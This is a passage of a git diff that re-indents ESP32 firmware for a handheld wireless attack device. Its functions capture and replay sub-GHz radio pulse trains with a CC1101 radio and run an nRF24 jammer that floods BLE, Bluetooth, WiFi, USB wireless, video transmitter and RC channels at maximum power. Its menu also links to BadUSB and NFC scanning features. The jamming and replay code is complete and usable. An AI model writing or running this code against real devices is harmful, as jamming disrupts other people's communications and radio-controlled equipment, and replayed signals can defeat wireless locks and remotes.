+    ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
 
-  ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
+    ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
 
-  // ===== DETECT =====
-  Serial.println("Checking chip...");
+    // ===== DETECT =====
+    Serial.println("Checking chip...");
 
-  if (!ELECHOUSE_cc1101.getCC1101()) {
-    Serial.println("❌ CC1101 NOT FOUND");
-    return false;
-  }
+    if (!ELECHOUSE_cc1101.getCC1101()) {
+        Serial.println("❌ CC1101 NOT FOUND");
+        return false;
+    }
 
-  Serial.println("✅ CC1101 FOUND");
+    Serial.println("✅ CC1101 FOUND");
 
-  // ===== IMPORTANT =====
-  // DO NOT CALL Init()
-  // it freezes on some ESP32-S3 setups
+    // ===== IMPORTANT =====
+    // DO NOT CALL Init()
+    // it freezes on some ESP32-S3 setups
 
-  // ===== MANUAL CONFIG =====
-  ELECHOUSE_cc1101.setMHZ(currentFreq);
+    // ===== MANUAL CONFIG =====
+    ELECHOUSE_cc1101.setMHZ(currentFreq);
 
-  // 2 = ASK/OOK
-  ELECHOUSE_cc1101.setModulation(2);
+    // 2 = ASK/OOK
+    ELECHOUSE_cc1101.setModulation(2);
 
-  ELECHOUSE_cc1101.setDRate(dataRate);
+    ELECHOUSE_cc1101.setDRate(dataRate);
 
-  ELECHOUSE_cc1101.setRxBW(rxBW);
+    ELECHOUSE_cc1101.setRxBW(rxBW);
 
-  ELECHOUSE_cc1101.setDeviation(0);
+    ELECHOUSE_cc1101.setDeviation(0);
 
-  // disable sync requirement
-  ELECHOUSE_cc1101.setSyncMode(0);
+    // disable sync requirement
+    ELECHOUSE_cc1101.setSyncMode(0);
 
-  ELECHOUSE_cc1101.setPA(powerLevel);
+    ELECHOUSE_cc1101.setPA(powerLevel);
 
-  // async serial mode
-  ELECHOUSE_cc1101.setCCMode(0);
+    // async serial mode
+    ELECHOUSE_cc1101.setCCMode(0);
 
-  // enter RX
-  ELECHOUSE_cc1101.SetRx();
+    // enter RX
+    ELECHOUSE_cc1101.SetRx();
 
-  pinMode(CC1101_GDO0, INPUT);
+    pinMode(CC1101_GDO0, INPUT);
 
-  Serial.println("✅ RX MODE READY");
+    Serial.println("✅ RX MODE READY");
 
-  cc1101Inited = true;
-  return true;
+    cc1101Inited = true;
+    return true;
 }
 // ===== CAPTURE CONTROL =====
 void startCapture() {
-  pulseIndex = 0;
-  capturing = true;
-  lastEdgeTime = micros();
+    pulseIndex = 0;
+    capturing = true;
+    lastEdgeTime = micros();
 
-  attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
+    attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
 
-  Serial.println("Looking for RF... ");
+    Serial.println("Looking for RF... ");
 }
 
 bool isCC1101Ready() { return cc1101Inited; }
 
 void stopCapture() {
-  capturing = false;
+    capturing = false;
 
-  detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
+    detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
 
-  Serial.println("Capture stopped");
+    Serial.println("Capture stopped");
 }
 
 // ===== DEBUG PRINT =====
 void printCapture() {
-  Serial.println("Captured pulses:");
+    Serial.println("Captured pulses:");
 
-  for (int i = 0; i < pulseIndex; i++) {
-    Serial.println(captureBuffer[i]);
-  }
+    for (int i = 0; i < pulseIndex; i++) {
+        Serial.println(captureBuffer[i]);
+    }
 }
 
 // ================= REPLAY =================
 void replaySignal() {
-  Serial.println();
-  Serial.println("Replaying signal...");
+    Serial.println();
+    Serial.println("Replaying signal...");
 
-  stopCapture();
+    stopCapture();
 
-  ELECHOUSE_cc1101.SetTx();
+    ELECHOUSE_cc1101.SetTx();
 
-  pinMode(CC1101_GDO0, OUTPUT);
+    pinMode(CC1101_GDO0, OUTPUT);
 
-  for (int i = 0; i < pulseIndex; i++) {
-    digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
+    for (int i = 0; i < pulseIndex; i++) {
+        digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
 
-    delayMicroseconds(captureBuffer[i]);
-  }
+        delayMicroseconds(captureBuffer[i]);
+    }
 
-  digitalWrite(CC1101_GDO0, LOW);
+    digitalWrite(CC1101_GDO0, LOW);
 
-  ELECHOUSE_cc1101.SetRx();
+    ELECHOUSE_cc1101.SetRx();
 
-  pinMode(CC1101_GDO0, INPUT);
+    pinMode(CC1101_GDO0, INPUT);
 
-  Serial.println("Replay complete");
+    Serial.println("Replay complete");
 }
 
 void captureAndDisplay() {
-  if (!cc1101Inited) {
-    if (!initCC1101()) {
-      u8g2.clearBuffer();
-      u8g2.setFont(u8g2_font_6x10_tr);
-      u8g2.drawStr(0, 20, "CC1101 Failed");
-      u8g2.sendBuffer();
-      return;
+    if (!cc1101Inited) {
+        if (!initCC1101()) {
+            u8g2.clearBuffer();
+            u8g2.setFont(u8g2_font_6x10_tr);
+            u8g2.drawStr(0, 20, "CC1101 Failed");
+            u8g2.sendBuffer();
+            return;
+        }
     }
-  }
 
-  startCapture();
+    startCapture();
 
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_6x10_tr);
-  u8g2.drawStr(0, 12, "CC1101 Capture");
-  u8g2.drawStr(0, 28, "Waiting RF...");
-  u8g2.drawStr(0, 60, "BACK = Exit");
-  u8g2.sendBuffer();
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_6x10_tr);
+    u8g2.drawStr(0, 12, "CC1101 Capture");
+    u8g2.drawStr(0, 28, "Waiting RF...");
+    u8g2.drawStr(0, 60, "BACK = Exit");
+    u8g2.sendBuffer();
 
-  unsigned long lastSignal = millis();
-  int lastPulseCount = 0;
+    unsigned long lastSignal = millis();
+    int lastPulseCount = 0;
 
-  while (true) {
-    // signal detected
-    if (pulseIndex > lastPulseCount) {
-      lastPulseCount = pulseIndex;
-      lastSignal = millis();
-    }
+    while (true) {
+        // signal detected
+        if (pulseIndex > lastPulseCount) {
+            lastPulseCount = pulseIndex;
+            lastSignal = millis();
+        }
 
-    // update OLED
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_6x10_tr);
+        // update OLED
+        u8g2.clearBuffer();
+        u8g2.setFont(u8g2_font_6x10_tr);
 
-    u8g2.drawStr(0, 12, "CC1101 Capture");
+        u8g2.drawStr(0, 12, "CC1101 Capture");
 
-    u8g2.setCursor(0, 28);
-    u8g2.print("Pulses: ");
-    u8g2.print(pulseIndex);
+        u8g2.setCursor(0, 28);
+        u8g2.print("Pulses: ");
+        u8g2.print(pulseIndex);
 
-    u8g2.setCursor(0, 42);
-    u8g2.print("Freq: ");
-    u8g2.print(currentFreq);
-    u8g2.print(" MHz");
+        u8g2.setCursor(0, 42);
+        u8g2.print("Freq: ");
+        u8g2.print(currentFreq);
+        u8g2.print(" MHz");
 
-    if (pulseIndex > 0) {
-      u8g2.drawStr(0, 54, "Signal Detected");
-    } else {
-      u8g2.drawStr(0, 54, "Waiting...");
-    }
+        if (pulseIndex > 0) {
+            u8g2.drawStr(0, 54, "Signal Detected");
+        } else {
+            u8g2.drawStr(0, 54, "Waiting...");
+        }
 
-    u8g2.sendBuffer();
+        u8g2.sendBuffer();
 
-    // auto print once capture stabilizes
-    if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
-      stopCapture();
+        // auto print once capture stabilizes
+        if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
+            stopCapture();
 
-      Serial.println();
-      Serial.println("===== RF CAPTURE =====");
+            Serial.println();
+            Serial.println("===== RF CAPTURE =====");
 
-      for (int i = 0; i < pulseIndex; i++) {
-        Serial.print(captureBuffer[i]);
-        Serial.print(", ");
-      }
+            for (int i = 0; i < pulseIndex; i++) {
+                Serial.print(captureBuffer[i]);
+                Serial.print(", ");
+            }
 
-      Serial.println();
+            Serial.println();
 
-      u8g2.clearBuffer();
-      u8g2.setFont(u8g2_font_6x10_tr);
-      u8g2.drawStr(0, 15, "Capture Complete");
+            u8g2.clearBuffer();
+            u8g2.setFont(u8g2_font_6x10_tr);
+            u8g2.drawStr(0, 15, "Capture Complete");
 
-      u8g2.setCursor(0, 35);
+            u8g2.setCursor(0, 35);
+        }
     }
-  }
 }
 
 void handleMenu() {
-  if (!isCC1101Ready()) {
-    if (!initCC1101()) {
-      u8g2.clearBuffer();
-      u8g2.setFont(u8g2_font_6x10_tr);
-      u8g2.drawStr(0, 20, "CC1101 Failed");
-      u8g2.sendBuffer();
-      delay(1500);
-      return;
+    if (!isCC1101Ready()) {
+        if (!initCC1101()) {
+            u8g2.clearBuffer();
+            u8g2.setFont(u8g2_font_6x10_tr);
+            u8g2.drawStr(0, 20, "CC1101 Failed");
+            u8g2.sendBuffer();
+            delay(1500);
+            return;
+        }
     }
-  }
 
-  pulseIndex = 0;
+    pulseIndex = 0;
 
-  startCapture();
+    startCapture();
 
-  // ===== CAPTURE FOR 5 SEC =====
-  unsigned long start = millis();
+    // ===== CAPTURE FOR 5 SEC =====
+    unsigned long start = millis();
 
-  while (millis() - start < 5000) {
-    noInterrupts();
-    int count = pulseIndex;
-    interrupts();
+    while (millis() - start < 5000) {
+        noInterrupts();
+        int count = pulseIndex;
+        interrupts();
 
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_6x10_tr);
+        u8g2.clearBuffer();
+        u8g2.setFont(u8g2_font_6x10_tr);
 
-    u8g2.drawStr(0, 12, "RF Capturing...");
+        u8g2.drawStr(0, 12, "RF Capturing...");
 
-    u8g2.setCursor(0, 30);
-    u8g2.print("Pulses: ");
-    u8g2.print(count);
+        u8g2.setCursor(0, 30);
+        u8g2.print("Pulses: ");
+        u8g2.print(count);
 
-    u8g2.sendBuffer();
+        u8g2.sendBuffer();
 
-    delay(50);
-  }
+        delay(50);
+    }
 
-  stopCapture();
+    stopCapture();
 
-  // ===== DISPLAY CAPTURE BUFFER =====
-  int scroll = 0;
+    // ===== DISPLAY CAPTURE BUFFER =====
+    int scroll = 0;
 
-  while (1) {
-    noInterrupts();
-    int count = pulseIndex;
-    interrupts();
+    while (1) {
+        noInterrupts();
+        int count = pulseIndex;
+        interrupts();
 
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_5x8_tr);
+        u8g2.clearBuffer();
+        u8g2.setFont(u8g2_font_5x8_tr);
 
-    u8g2.drawStr(0, 8, "Captured Buffer");
+        u8g2.drawStr(0, 8, "Captured Buffer");
 
-    // display 6 lines
-    for (int i = 0; i < 6; i++) {
-      int idx = scroll + i;
+        // display 6 lines
+        for (int i = 0; i < 6; i++) {
+            int idx = scroll + i;
 
-      if (idx >= count)
-        break;
+            if (idx >= count)
+                break;
 
-      noInterrupts();
-      unsigned long val = captureBuffer[idx];
-      interrupts();
+            noInterrupts();
+            unsigned long val = captureBuffer[idx];
+            interrupts();
 
-      char buf[32];
+            char buf[32];
 
-      snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
+            snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
 
-      u8g2.drawStr(0, 20 + (i * 8), buf);
-    }
+            u8g2.drawStr(0, 20 + (i * 8), buf);
+        }
 
-    u8g2.sendBuffer();
+        u8g2.sendBuffer();
 
-    // scroll down
-    if (btnDown()) {
-      if (scroll < count - 1)
-        scroll++;
+        // scroll down
+        if (btnDown()) {
+            if (scroll < count - 1)
+                scroll++;
 
-      delay(120);
-    }
+            delay(120);
+        }
 
-    // scroll up
-    if (btnUp()) {
-      if (scroll > 0)
-        scroll--;
+        // scroll up
+        if (btnUp()) {
+            if (scroll > 0)
+                scroll--;
 
-      delay(120);
-    }
+            delay(120);
+        }
 
-    // replay
-    if (btnSelect()) {
-      replaySignal();
-      delay(300);
-    }
+        // replay
+        if (btnSelect()) {
+            replaySignal();
+            delay(300);
+        }
 
-    // exit
-    if (btnBack()) {
-      delay(150);
-      return;
-    }
+        // exit
+        if (btnBack()) {
+            delay(150);
+            return;
+        }
 
-    delay(20);
-  }
+        delay(20);
+    }
 }
diff --git a/src/rf/nrf24.cpp b/src/rf/nrf24.cpp
index fb6e1ee..dad0f11 100644
--- a/src/rf/nrf24.cpp
+++ b/src/rf/nrf24.cpp
@@ -21,19 +21,19 @@ const byte zigbee_channels[] = {11, 15, 20, 25};
 const byte rc_channels[] = {1, 3, 5, 7};
 
 void initNRF(RF24 &radio) {
-  if (!radio.begin(RADIO_SPI)) {
-    Serial.println("NRF not found");
-    return;
-  }
-
-  radio.setAutoAck(false);
-  radio.stopListening();
-  radio.setRetries(0, 0);
-  radio.setPALevel(RF24_PA_MAX, true);
-  radio.setDataRate(RF24_2MBPS);
-  radio.openWritingPipe(0xE7E7E7E7E7LL);
-  radio.setCRCLength(RF24_CRC_DISABLED);
-  Serial.println("NRF Initialized");
+    if (!radio.begin(RADIO_SPI)) {
+        Serial.println("NRF not found");
+        return;
+    }
+
+    radio.setAutoAck(false);
+    radio.stopListening();
+    radio.setRetries(0, 0);
+    radio.setPALevel(RF24_PA_MAX, true);
+    radio.setDataRate(RF24_2MBPS);
+    radio.openWritingPipe(0xE7E7E7E7E7LL);
+    radio.setCRCLength(RF24_CRC_DISABLED);
+    Serial.println("NRF Initialized");
 }
 
 // void startBleJammer() {
@@ -110,107 +110,108 @@ void initNRF(RF24 &radio) {
 // }
 
 void startJammer(const char *name, const byte *channels, size_t channelCount) {
-  initNRF(radio1);
-  initNRF(radio2);
-
-  Serial.println("NRF JAMMER STARTED");
-
-  const char payload[] = "xxxxxxxxxxxxxxxx";
-
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_6x10_tr);
-  u8g2.drawStr(0, 15, "NRF24 Jammer");
-  u8g2.drawStr(0, 35, name);
-  u8g2.drawStr(0, 55, "BACK = Exit");
-  u8g2.sendBuffer();
-
-  while (true) {
-    for (size_t i = 0; i < channelCount; i++) {
-      // radio1.setChannel(channels[i]);
-      // radio1.write(&payload, sizeof(payload));
-
-      // Optional second NRF
-      // radio2.setChannel(channels[i]);
-      // radio2.write(&payload, sizeof(payload));
-
-      radio1.setChannel(channels[i]);
-      radio2.setChannel(channels[(i + 1) % channelCount]);
-
-      radio1.writeFast(&payload, sizeof(payload));
-      radio2.writeFast(&payload, sizeof(payload));
+    initNRF(radio1);
+    initNRF(radio2);
+
+    Serial.println("NRF JAMMER STARTED");
+
+    const char payload[] = "xxxxxxxxxxxxxxxx";
+
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_6x10_tr);
+    u8g2.drawStr(0, 15, "NRF24 Jammer");
+    u8g2.drawStr(0, 35, name);
+    u8g2.drawStr(0, 55, "BACK = Exit");
+    u8g2.sendBuffer();
+
+    while (true) {
+        for (size_t i = 0; i < channelCount; i++) {
+            // radio1.setChannel(channels[i]);
+            // radio1.write(&payload, sizeof(payload));
+
+            // Optional second NRF
+            // radio2.setChannel(channels[i]);
+            // radio2.write(&payload, sizeof(payload));
+
+            radio1.setChannel(channels[i]);
+            radio2.setChannel(channels[(i + 1) % channelCount]);
+
+            radio1.writeFast(&payload, sizeof(payload));
+            radio2.writeFast(&payload, sizeof(payload));
+        }
+
+        if (btnBack()) {
+            Serial.println("Jammer stopped");
+            radio1.powerDown();
+            radio2.powerDown();
+            return;
+        }
     }
 
-    if (btnBack()) {
-      Serial.println("Jammer stopped");
-      radio1.powerDown();
-      radio2.powerDown();
-      return;
-    }
-  }
-
-  // while (true) {
-  // for (size_t i = 0; i < channelCount; i++)
-  //{
-  //     radio1.setChannel(channels[i]);
-  //     radio2.setChannel(channels[(i + 1) % channelCount]);
+    // while (true) {
+    // for (size_t i = 0; i < channelCount; i++)
+    //{
+    //     radio1.setChannel(channels[i]);
+    //     radio2.setChannel(channels[(i + 1) % channelCount]);
 
-  //    radio1.writeFast(&payload, sizeof(payload));
-  //    radio2.writeFast(&payload, sizeof(payload));
+    //    radio1.writeFast(&payload, sizeof(payload));
+    //    radio2.writeFast(&payload, sizeof(payload));
 
-  //    radio1.txStandBy(1);
-  //    radio2.txStandBy(1);
+    //    radio1.txStandBy(1);
+    //    radio2.txStandBy(1);
 
-  //    delayMicroseconds(200);
-  //}
+    //    delayMicroseconds(200);
+    //}
 
-  // if (btnBack())
-  //{
-  //     Serial.println("Jammer stopped");
+    // if (btnBack())
+    //{
+    //     Serial.println("Jammer stopped");
 
-  //    radio1.powerDown();
-  //    radio2.powerDown();
+    //    radio1.powerDown();
+    //    radio2.powerDown();
 
-  //    return;
-  //}
-  //}
+    //    return;
+    //}
+    //}
 }
 
 void NRFToolsMenu(int index) {
-  switch (index) {
-  case 0:
-    // startBleJammer();
-    // BLE
-    startJammer("BLE", bleChannels,
-                sizeof(bleChannels) / sizeof(bleChannels[0]));
-
-    break;
-  case 1:
-    // startBluetoothJammer();
-    // Bluetooth
-    startJammer("Bluetooth", bluetoothChannels,
-                sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
-    break;
-
-  case 2:
-    startJammer("WiFi", wifiChannels,
-                sizeof(wifiChannels) / sizeof(wifiChannels[0]));
-    break;
-  case 3:
-    startJammer("USB Wireless", usbWireless_channels,
-                sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
-    break;
-  case 4:
-    startJammer("Video TX", videoTransmitter_channels,
-                sizeof(videoTransmitter_channels) /
-                    sizeof(videoTransmitter_channels[0]));
-    break;
-  case 5:
-    break;
-    startJammer("RC", rc_channels,
-                sizeof(rc_channels) / sizeof(rc_channels[0]));
-    break;
-  case 6:
-
-    break;
-  }
+    switch (index) {
+    case 0:
+        // startBleJammer();
+        // BLE
+        startJammer("BLE", bleChannels,
+                    sizeof(bleChannels) / sizeof(bleChannels[0]));
+
+        break;
+    case 1:
+        // startBluetoothJammer();
+        // Bluetooth
+        startJammer("Bluetooth", bluetoothChannels,
+                    sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
+        break;
+
+    case 2:
+        startJammer("WiFi", wifiChannels,
+                    sizeof(wifiChannels) / sizeof(wifiChannels[0]));
+        break;
+    case 3:
+        startJammer("USB Wireless", usbWireless_channels,
+                    sizeof(usbWireless_channels) /
+                        sizeof(usbWireless_channels[0]));
+        break;
+    case 4:
+        startJammer("Video TX", videoTransmitter_channels,
+                    sizeof(videoTransmitter_channels) /
+                        sizeof(videoTransmitter_channels[0]));
+        break;
+    case 5:
+        break;
+        startJammer("RC", rc_channels,
+                    sizeof(rc_channels) / sizeof(rc_channels[0]));
+        break;
+    case 6:
+
+        break;
+    }
 }
diff --git a/src/rf/nrf24.h b/src/rf/nrf24.h
index 308bbc4..6d7f7d8 100644
--- a/src/rf/nrf24.h
+++ b/src/rf/nrf24.h
@@ -8,6 +8,6 @@ void initNRF(RF24 &radio);
 void startBluetoothJammer();
 void startBleJammer();
 
-void startJammer(const char* name, const byte* channels, size_t channelCount);
+void startJammer(const char *name, const byte *channels, size_t channelCount);
 
 void NRFToolsMenu(int index);
diff --git a/src/ui/display.cpp b/src/ui/display.cpp
index 3b7b263..3fb572d 100644
--- a/src/ui/display.cpp
+++ b/src/ui/display.cpp
@@ -5,7 +5,7 @@
 U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
 
 void displayInit() {
-  Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
-  u8g2.begin();
-  u8g2.setFont(u8g2_font_6x12_tr);
+    Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
+    u8g2.begin();
+    u8g2.setFont(u8g2_font_6x12_tr);
 }
diff --git a/src/ui/menu.cpp b/src/ui/menu.cpp
index 9898f64..284d214 100644
--- a/src/ui/menu.cpp
+++ b/src/ui/menu.cpp
@@ -67,250 +67,250 @@ bool insideFeature = false;
 // ================= DRAW =================
 
 void drawMenu() {
-  u8g2.clearBuffer();
+    u8g2.clearBuffer();
 
-  // scroll handling
-  if (menuIndex < menuOffset)
-    menuOffset = menuIndex;
+    // scroll handling
+    if (menuIndex < menuOffset)
+        menuOffset = menuIndex;
 
-  if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
-    menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
+    if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
+        menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
 
-  for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
-    int item = menuOffset + i;
+    for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
+        int item = menuOffset + i;
 
-    if (item >= currentMenu->size)
-      break;
+        if (item >= currentMenu->size)
+            break;
 
-    if (item == menuIndex)
-      u8g2.drawStr(0, 14 + i * 14, ">");
+        if (item == menuIndex)
+            u8g2.drawStr(0, 14 + i * 14, ">");
 
-    u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
-  }
+        u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
+    }
 
-  // scroll indicators
-  if (menuOffset > 0)
-    u8g2.drawStr(118, 10, "^");
+    // scroll indicators
+    if (menuOffset > 0)
+        u8g2.drawStr(118, 10, "^");
 
-  if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
-    u8g2.drawStr(118, 62, "v");
+    if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
+        u8g2.drawStr(118, 62, "v");
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 // ================= FEATURE EXECUTION =================
 
 void launchFeature() {
-  insideFeature = true;
-
-  if (currentMenu == &mainMenu) {
-    switch (menuIndex) {
-    case 0: // BadUSB → enter submenu
-      currentMenu = &badusbMenu;
-      menuIndex = 0;
-      menuOffset = 0;
-      break;
-
-    case 1:
-      handleMenu();
-      break;
-    case 2:
-      // startNRFJammer();
-      // startBleJammer();
-      // startBluetoothJammer();
-      currentMenu = &nrfToolsMenu;
-      menuIndex = 0;
-      menuOffset = 0;
-      break;
-
-      break;
-    case 3:
-      ble_scan();
-      ble_drawMenu();
-      while (1) {
-        ble_loop();
-        if (btnBack())
-          break;
-      }
-      break;
-
-    case 4: {
-      // Start scan once
-      wifi_scan_start();
-      wifi_scan_draw();
-
-      while (1) {
-        wifi_scan_loop();
-        // EXIT condition handled ONLY here
-        if (btnBack()) {
-          delay(150); // debounce
-          break;
-        }
-      }
-      break;
-    }
-    case 5: {
-
-      wifi_analyzer_start();
-
-      bool prevBack = false;
-      while (1) {
-        wifi_analyzer_loop();
-        bool nowBack = btnBack();
-        if (nowBack && !prevBack) {
-          delay(150);
-          break;
-        }
-        prevBack = nowBack;
-      }
-      break;
-    }
-
-    case 6:
-      runSystemInfoFeature();
-      break;
-    case 7:
-      device_check_run();
-      break;
-    case 8: {
-      // wait for button release
-      delay(200);
-
-      while (btnSelect())
-        delay(10);
-      bool confirm = false;
-
-      while (1) {
-        u8g2.clearBuffer();
-        u8g2.setFont(u8g2_font_6x13_tr);
-
-        u8g2.drawStr(18, 18, "Restart Device?");
-
-        if (confirm) {
-          u8g2.drawBox(10, 35, 45, 15);
-          u8g2.setDrawColor(0);
-          u8g2.drawStr(20, 47, "YES");
-          u8g2.setDrawColor(1);
-
-          u8g2.drawStr(75, 47, "NO");
-        } else {
-          u8g2.drawStr(20, 47, "YES");
-
-          u8g2.drawBox(65, 35, 45, 15);
-          u8g2.setDrawColor(0);
-          u8g2.drawStr(78, 47, "NO");
-          u8g2.setDrawColor(1);
-        }
+    insideFeature = true;
+
+    if (currentMenu == &mainMenu) {
+        switch (menuIndex) {
+        case 0: // BadUSB → enter submenu
+            currentMenu = &badusbMenu;
+            menuIndex = 0;
+            menuOffset = 0;
+            break;
 
-        u8g2.sendBuffer();
+        case 1:
+            handleMenu();
+            break;
+        case 2:
+            // startNRFJammer();
+            // startBleJammer();
+            // startBluetoothJammer();
+            currentMenu = &nrfToolsMenu;
+            menuIndex = 0;
+            menuOffset = 0;
+            break;
 
-        if (btnLeft() || btnUp()) {
-          confirm = true;
-          delay(150);
-        }
+            break;
+        case 3:
+            ble_scan();
+            ble_drawMenu();
+            while (1) {
+                ble_loop();
+                if (btnBack())
+                    break;
+            }
+            break;
 
-        if (btnRight() || btnDown()) {
-          confirm = false;
-          delay(150);
+        case 4: {
+            // Start scan once
+            wifi_scan_start();
+            wifi_scan_draw();
+
+            while (1) {
+                wifi_scan_loop();
+                // EXIT condition handled ONLY here
+                if (btnBack()) {
+                    delay(150); // debounce
+                    break;
+                }
+            }
+            break;
         }
-
-        if (btnSelect()) {
-          delay(150);
-
-          if (confirm) {
-            u8g2.clearBuffer();
-            u8g2.drawStr(28, 30, "Restarting...");
-            u8g2.sendBuffer();
-
-            delay(1000);
-            ESP.restart();
-          } else {
+        case 5: {
+
+            wifi_analyzer_start();
+
+            bool prevBack = false;
+            while (1) {
+                wifi_analyzer_loop();
+                bool nowBack = btnBack();
+                if (nowBack && !prevBack) {
+                    delay(150);
+                    break;
+                }
+                prevBack = nowBack;
+            }
             break;
-          }
         }
 
-        if (btnBack()) {
-          delay(150);
-          break;
+        case 6:
+            runSystemInfoFeature();
+            break;
+        case 7:
+            device_check_run();
+            break;
+        case 8: {
+            // wait for button release
+            delay(200);
+
+            while (btnSelect())
+                delay(10);
+            bool confirm = false;
+
+            while (1) {
+                u8g2.clearBuffer();
+                u8g2.setFont(u8g2_font_6x13_tr);
+
+                u8g2.drawStr(18, 18, "Restart Device?");
+
+                if (confirm) {
+                    u8g2.drawBox(10, 35, 45, 15);
+                    u8g2.setDrawColor(0);
+                    u8g2.drawStr(20, 47, "YES");
+                    u8g2.setDrawColor(1);
+
+                    u8g2.drawStr(75, 47, "NO");
+                } else {
+                    u8g2.drawStr(20, 47, "YES");
+
+                    u8g2.drawBox(65, 35, 45, 15);
+                    u8g2.setDrawColor(0);
+                    u8g2.drawStr(78, 47, "NO");
+                    u8g2.setDrawColor(1);
+                }
+
+                u8g2.sendBuffer();
+
+                if (btnLeft() || btnUp()) {
+                    confirm = true;
+                    delay(150);
+                }
+
+                if (btnRight() || btnDown()) {
+                    confirm = false;
+                    delay(150);
+                }
+
+                if (btnSelect()) {
+                    delay(150);
+
+                    if (confirm) {
+                        u8g2.clearBuffer();
+                        u8g2.drawStr(28, 30, "Restarting...");
+                        u8g2.sendBuffer();
+
+                        delay(1000);
+                        ESP.restart();
+                    } else {
+                        break;
+                    }
+                }
+
+                if (btnBack()) {
+                    delay(150);
+                    break;
+                }
+            }
+        } break;
+
+        case 9:
+            // Begin Ble mouse
+            bleMouse.begin();
+            ble_mouse_run();
+            break;
+        case 10:
+            pn532_scan_loop();
+            break;
         }
-      }
-    } break;
-
-    case 9:
-      // Begin Ble mouse
-      bleMouse.begin();
-      ble_mouse_run();
-      break;
-    case 10:
-      pn532_scan_loop();
-      break;
+    } else if (currentMenu == &badusbMenu) {
+        badUSBMenu(menuIndex);
+    } else if (currentMenu == &nrfToolsMenu) {
+        NRFToolsMenu(menuIndex);
     }
-  } else if (currentMenu == &badusbMenu) {
-    badUSBMenu(menuIndex);
-  } else if (currentMenu == &nrfToolsMenu) {
-    NRFToolsMenu(menuIndex);
-  }
 
-  insideFeature = false;
+    insideFeature = false;
 
-  drawMenu();
+    drawMenu();
 }
 
 // ================= INIT =================
 
 void menuInit() {
-  currentMenu = &mainMenu;
-  menuIndex = 0;
-  menuOffset = 0;
+    currentMenu = &mainMenu;
+    menuIndex = 0;
+    menuOffset = 0;
 
-  drawMenu();
+    drawMenu();
 }
 
 // ================= LOOP =================
 
 void menuLoop() {
-  static uint32_t lastPress = 0;
+    static uint32_t lastPress = 0;
 
-  if (insideFeature)
-    return;
+    if (insideFeature)
+        return;
 
-  if (millis() - lastPress < 150)
-    return;
+    if (millis() - lastPress < 150)
+        return;
 
-  if (btnUp()) {
-    menuIndex--;
+    if (btnUp()) {
+        menuIndex--;
 
-    if (menuIndex < 0)
-      menuIndex = currentMenu->size - 1;
+        if (menuIndex < 0)
+            menuIndex = currentMenu->size - 1;
 
-    drawMenu();
-    lastPress = millis();
-  }
+        drawMenu();
+        lastPress = millis();
+    }
 
-  else if (btnDown()) {
-    menuIndex++;
+    else if (btnDown()) {
+        menuIndex++;
 
-    if (menuIndex >= currentMenu->size)
-      menuIndex = 0;
+        if (menuIndex >= currentMenu->size)
+            menuIndex = 0;
 
-    drawMenu();
-    lastPress = millis();
-  }
+        drawMenu();
+        lastPress = millis();
+    }
 
-  else if (btnSelect()) {
-    launchFeature();
-    lastPress = millis();
-  }
+    else if (btnSelect()) {
+        launchFeature();
+        lastPress = millis();
+    }
 
-  else if (btnBack()) {
-    if (currentMenu != &mainMenu) {
-      currentMenu = &mainMenu;
-      menuIndex = 0;
-      menuOffset = 0;
+    else if (btnBack()) {
+        if (currentMenu != &mainMenu) {
+            currentMenu = &mainMenu;
+            menuIndex = 0;
+            menuOffset = 0;
 
-      drawMenu();
-    }
+            drawMenu();
+        }
 
-    lastPress = millis();
-  }
+        lastPress = millis();
+    }
 }
diff --git a/src/ui/menu.h b/src/ui/menu.h
index c51cd24..3f37057 100644
--- a/src/ui/menu.h
+++ b/src/ui/menu.h
@@ -1,7 +1,6 @@
 #pragma once
 
-struct Menu
-{
+struct Menu {
     const char **items;
     int size;
 };
diff --git a/src/utils/buttons.cpp b/src/utils/buttons.cpp
index 1e93150..d257c58 100644
--- a/src/utils/buttons.cpp
+++ b/src/utils/buttons.cpp
@@ -3,12 +3,12 @@
 #include <Arduino.h>
 
 void buttonsInit() {
-  pinMode(BTN_UP, INPUT_PULLUP);
-  pinMode(BTN_DOWN, INPUT_PULLUP);
-  pinMode(BTN_SELECT, INPUT_PULLUP);
-  pinMode(BTN_BACK, INPUT_PULLUP);
